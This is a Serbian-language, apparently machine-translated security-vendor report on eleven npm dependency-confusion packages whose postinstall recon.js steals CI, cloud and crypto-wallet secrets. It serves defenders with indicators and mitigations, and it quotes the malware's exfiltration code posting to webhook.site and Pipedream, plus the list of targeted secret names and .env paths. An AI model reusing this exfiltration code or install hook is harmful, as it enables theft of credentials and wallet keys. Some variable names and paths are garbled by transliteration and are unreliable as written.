CryptoDAO забуна: прикупљање npm пакета CI/CD и крипто тајне

CryptoDAO забуна: једанаест npm пакета, један корисни додатак, жетва CI/CD и тајне крипто-новчаника

ТЛ; ДР

Дана 17.06.2026. објављен је један npm налог једанаест пакета који деле једну сврху и један корисни садржајДесет њих носи cryptodao- префикс (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); једанаести је обухваћен @public-for-cdao/coreСваки је објављен у верзији 99.99.99 и шаље идентичан бајту recon.js који тече даље postinstall.

Имена су оно што говори. Читају се као унутрашњи градивни блокови приватног ланца алата крипто/DAO пројекта. Објављени у јавном npm регистру са вештачки високом верзијом, чекају изградњу. pipeline који је конфигурисан да разреши та имена и који стиже до јавног npm-а пре — или уместо — приватног регистра. Ово је конфузија у вези са зависношћу, а терет је подешен тачно тамо где се очекује да ће слетети: CI/CD тркача.

Када postinstall пожари, recon.js прикупља детаље о домаћину, грубо претражује четрдесет променљивих окружења за облак, континуирану сигурност и крипто-новчаник, чита било који .env датотеке које може да пронађе и дословно прослеђује редове који носе тајну, а затим преноси пакет двама сакупљачима — webhook.site и крајњу тачку Pipedream-а — са онемогућеном верификацијом TLS сертификата. Копија је такође написана под /tmp.

Озбиљност: високПогођени екосистем: нпмСвих једанаест пакета је било доступно у време писања овог текста.

Анатомија напада

Механизам има четири покретна дела, и ниједан од њих није суптилан када знате да погледајте један слој даље од имена пакета.

1. Инфлација верзија као мамац за решавање. Сваки пакет декларише верзију 99.99.99Забуна око зависности функционише када менаџер пакета затражи интерно име, такође проверава јавни регистар и бира најновију верзију налази. npm-ов подразумевани избор за опсег карета или џокера је најзадовољавајућа верзија у сваком конфигурисаном извору; ако су оба приватна регистар и јавни npm одговор за исто име, већи број верзије побеђује. A 99.99.99 надмашује у суштини било коју праву интерну верзију коју пројекат има достигнуто, тако да резолвер који није везан за приватни извор преферира јавни — а у овом случају, непријатељски — текст. Оператор не мора да зна стварни бројеви верзија циља; избор апсурдног максимума гарантује нерешен резултат увек пробија им пут.

2. Окидач након инсталације. пацкаге.јсон повезује корисни терет са инсталацијом животни циклус:

{   "scripts": { "postinstall": "node recon.js" } }

Није потребан увоз пакета. Само његова инсталација — што је CI pipeline ради аутоматски — покреће се recon.js.

3. Широка тајна претрага. recon.js саставља низ резултата у фазама:

  • Контекст хоста: име хоста, платформа и издање, архитектура, корисничко име, рад директоријум.
  • Променљиве окружења: понавља фиксну листу од око четрдесет имена и записа било који који су подешени. Листа је откривајућа — она упарује генеричке CI токене (CI_JOB_TOKEN, CI_REGISTAR_PASSWORD, GITLAB_ACCESS_TOKEN) и облак акредитиви (АВС_АЦЦЕСС_КЕИ_ИД, АВС_СЕЦРЕТ_АЦЦЕСС_КЕИ, АВС_СЕССИОН_ТОКЕН) са тајним подацима регистра и контејнера (NPM_TOKEN, DOCKER_PASSWORD, ЛОЗИНКА_ЗА_ЛУКУ) и кластер са изразито крипто укусом:  PRIVATE_KEY, МНЕМОНИЦ, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, БСЦ_РПЦЗабележене вредности се скраћују на првих 50 знакова.
  • .енв датотеке: испитује листу путања — .енв, ../.env, /апликација/.енв, /апп/бекенд/.енв, /апликација/бот/.енв, /home/gitlab-runner/.env, /root/.env, и .производња/развој варијанте — и за било коју датотеку која постоји, она филтрира садржај у линије које одговарају КЉУЧ|ТАЈНА|ТОКЕН|ЛОЗИЦА|ПРИВАТНО|МНЕМОНИЧКА и приказује те редове **у целости, нескраћене** у резултате.
  • Контекст хоста за изградњу: наводи првих 20 уноса од /гради/, /почетна/gitlab-runner/изградње/, /var/lib/gitlab-runner/, i / тмп /.

Листа путања и листа променљивих су пондерисане ка GitLab покретачима, што указује корисни терет директно на самостално хостованој CI инфраструктури, а не код програмера лаптоп. Груписање листе жетве по категоријама чини планирани улов јасним:

Категорија Достигнуте променљиве / путање
CI/CD идентитет и распоређивање CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
облак AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Регистар и контејнер NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Складишта података DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Крипто / блокчејн PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Размена порука SLACK_TOKEN, DISCORD_TOKEN
На диску .env породица + /home/gitlab-runner/.env, /root/.env, /app/**/.envсписак директоријума /builds/, /var/lib/gitlab-runner/

Крипто кластер је део који ово разликује од генеричког CI-тајног sweep: фразе за семе новчаника и кључеви за потписивање појављују се само у окружењу a блокчејн пројекат, и они се директно мапирају на криптодао-/знак/Уговори именовање превозника.

4. Двострука ексфилтрација са онемогућеном верификацијом. Прикупљени низ је серијализовано и послато на две дестинације:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

одбацивањеНеовлашћено: нетачно искључује провере TLS сертификата за одлазни слање позиви. Исти подаци се исписују на stdout (тако да се такође појављују у CI логовима послова) и писао /tmp/.npm_recon_ .jsonГрешке се гутају тихо, тако да Неуспешно слање не оставља траг у инсталационом излазу осим једног извиђање инсталирано на лине.

Водећи коментар у досијеу описује то као „конфузију зависности“ „Извиђачки терет.“ Скраћивање вредности окружења на 50 знакова је облик доказа концепта. Оно што га помера поред светионика само за присуство јесте .енв руковање: линије са тајним садржајем се прослеђују у целости, а одредишта су два радна, нападачима контролисана колектора, а не судопер који се рачуна само хитови.

Тимелине

Шаблон објављивања је потпис једног скриптованог пусања, а не једанаест независна отпремања.

Време (UTC, 17.06.2026.) догађај
03:24:58 cryptodao-bot@99.99.99 објављен
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — варијанта са опсегом, ~24 минута касније

Десет пакета је послато у року од 29 секунди, отприлике један сваке три секунде. Обим @public-for-cdao/core уследило је око 24 минута касније — секунду конвенција именовања за исти циљ, у случају да пројекат потрошач позива на интерни ланац алата под опсегом, а не као гола имена.

Индикатори компромиса

тип Индикатор
Колекционар hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Колекционар hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Инсталирајте куку postinstall: node recon.js
Отпуштена датотека /tmp/.npm_recon_<timestamp>.json
Означивач балвана [recon] <pkg>@<ver> installed on <hostname> (стандардни излаз у CI логовима)
бехавиорал rejectUnauthorized: false на одлазном HTTPS-у током инсталације
Користан терет recon.js, идентично у свих једанаест пакета (једна заједничка верзија)
верзија 99.99.99 на сваком пакету
Пакети cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (све 99.99.99)
Издавач aduljune / aduljune@proton.me (имејл адреса није верификована, нема повезаног репозиторијума изворног кода)

 Атрибуција и посматрано понашање

Све у вези са кластером указује на једну страну. Свих једанаест пакета је објављено. преко npm налога адулџун (aduljune@proton.me, непроверена адреса без повезано складиште изворног кода), у року од 25 минута, истовремено 99.99.99 верзија, испорука recon.js чији је садржај бајт по бајт идентичан у свим пакет (MD5 се подудара са свих једанаест екстрахованих копија). То је један корисни садржај утиснуто на листу имена, а не независна поновна употреба кода.

Листа имена дефинише жељени циљ. криптодао-* цдао описују распоред приватног модула крипто/DAO пројекта и листа сакупљања корисног терета огледала која погађају: поред генеричких CI и тајни облака, то посебно посеже за PRIVATE_KEY, МНЕМОНИЦ, SEED_PHRASEи Ethereum/BSC RPC и кључеви добављача. .енв Путање претраге и листе директоријума су GitLab-runner специфично. Уочљиви ефекат је да било који pipeline преварени да их инсталирају имена би прослеђивала своје CI токене, клауд кључеве и податке на диску .енв тајне — и, за блокчејн пројекат, његов материјал за новчаник — двама колекционарима треће стране.

Не тврдимо ко управља налогом или шта су планирали да ураде са њим. подаци. Чињенице које стоје саме по себи: имена циљају одређену врсту интерни ланац алата, корисни терет чита и преноси стварне тајне вредности и инфраструктура је била активна.

Утицај, трендови и смернице за одбрамбене играче

Збуњеност око зависности остаје ефикасан јер искоришћава понашање решавача, а не рањивост у било ком пакету. Носач је овде тривијалан — једанаест скоро празних пакети — али радијус експлозије је било који pipeline погрешно преферира јавни npm за интерно име. CI тркачи су најгоре место да се то деси: они држе тачно токене и .енв датотеке које овај корисни терет чита и инсталирају зависности неинтерактивно, тако да након инсталације трчи а да га нико не гледа.

Овај кластер се такође уклапа у образац који стално виђамо: корисни терет током инсталације који се представља као „истраживање“ или „извиђање“ док се врши прикупљање стварних акредитива. Ознака у датотеци не мења оно што код ради на тркачу. Два избора дизајна задржавају тиха активност: свака мрежна и датотечна операција је обавијена обрађивач изузетака који одбацује грешке, па је у питању блокирано слање или недостајућа датотека не производи никакав дијагностички излаз, а једино што се штампа је један безопасни [рекон] … инсталирано линија која се стапа са нормалним разговором током инсталације. Употреба вебхук.сајт а Pipedream је такође намерна погодност — оба су бесплатна, тренутно обезбеђене услуге хватања захтева, тако да оператеру нису потребни сервери своје, а одредишта изгледају као обична SaaS имена хостова у излазним логовима.

Економија је оно што ово чини вредним пажње браниоца, иако је Код оператера је једноставан. Регистрација једанаест имена не кошта ништа, корисни терет је један датотека је копирана једанаест пута, а менаџер пакета обавља целокупно извршавање. Једна погрешно конфигурисан pipeline било где ко конзумира једно од ових имена плаћа целу цену операције.

Конкретни кораци за браниоце:

  • Прикачите интерне опсеге на свој приватни регистар. Конфигуришите npm тако да има интерна имена
     и опсези се решавају само у односу на ваш регистар (мапирања регистра са опсегом .npmrc,
    или прокси који никада не пада на јавни npm за поседоване именске просторе). Резервишите своја јавна имена опсега како их нико други не би могао регистровати.
  • Commit закључане датотеке и инсталирајте их са –ignore-scripts у ЦИ где је то изводљиво, или проверите мали скуп зависности којима су заиста потребне скрипте за инсталацију.  recon.js не може да се покрене ако након инсталације није извршен.
  • Третирајте верзију имена које изгледа као да је интерно, а која износи 99.99.99 (или неку другу апсурдно високу цену). као црвена застава у прегледу зависности и праћењу регистра.
  • Упозорење о излазу у време инсталације. A након инсталације који отвара одлазни HTTPS веза — посебно са онемогућеном верификацијом сертификата — до Вреди блокирати webhook.site, Pipedream или сличне сервисе за хватање захтева на ивици мреже и означити их у логовима изградње.
  • Потрага за артефактима. Проверите тркаче /tmp/.npm_recon_*.json а за [recon] … инсталирано на … маркер у скорашњим CI евиденцијама. Ако се пронађе, ротирајте сваких акредитив изложен томе pipeline — CI токени, клауд кључеви, токени регистра и сва семена новчаника или приватни кључеви присутни у окружењу или .env датотекама.

Референце

У време писања овог текста није постојало екстерно извештавање о овом кластеру; анализа горе наведено је директно засновано на објављеном садржају пакета

sca-tools-software-composition-analysis-tools
Приоритизујте, отклоните и обезбедите ризике везане за ваш софтвер
Набавите свој бесплатни налог.
Није потребна кредитна картица.

Обезбедите свој развој и испоруку софтвера

са Xygeni пакетом производа